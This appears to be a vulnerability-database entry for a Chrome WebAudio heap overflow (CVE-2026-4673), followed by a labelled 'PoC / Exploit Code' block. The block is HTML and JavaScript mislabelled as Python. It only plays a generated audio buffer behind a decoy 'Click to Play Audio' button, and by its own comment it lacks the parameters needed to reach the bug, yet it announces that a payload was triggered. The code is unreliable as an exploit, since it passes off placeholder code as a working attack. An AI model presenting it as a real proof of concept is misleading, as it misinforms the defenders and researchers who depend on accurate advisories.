Heap buffer overflow in WebAudio in Google Chrome prior to 146.0.7680.165 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.165
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4673 -->
<!-- This PoC demonstrates the context of triggering the vulnerability in WebAudio -->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-4673 PoC</title></head>
<body>
<script>
// Initialize AudioContext
const audioCtx = new (window.AudioContext || window.webkitAudioContext)();
function exploit() {
try {
// Create a buffer with specific parameters to trigger the overflow
// Note: Exact parameters depend on the specific vulnerability details
const bufferSize = 0x1000;
const buffer = audioCtx.createBuffer(1, bufferSize, 48000);
const data = buffer.getChannelData(0);
// Manipulate buffer data to potentially trigger the overflow condition
for (let i = 0; i < bufferSize; i++) {
// Crafted data pattern
data[i] = (i % 256) / 255.0 * 2 - 1;
}
// Connect and play to trigger processing
const source = audioCtx.createBufferSource();
source.buffer = buffer;
source.connect(audioCtx.destination);
source.start(0);
console.log("[+] WebAudio payload triggered.");
} catch (e) {
console.log("[-] Error triggering exploit: " + e);
}
}
// Trigger on user interaction as required by UI:R
document.body.addEventListener('click', exploit);
document.write('<button>Click to Play Audio</button>');
</script>
</body>
</html>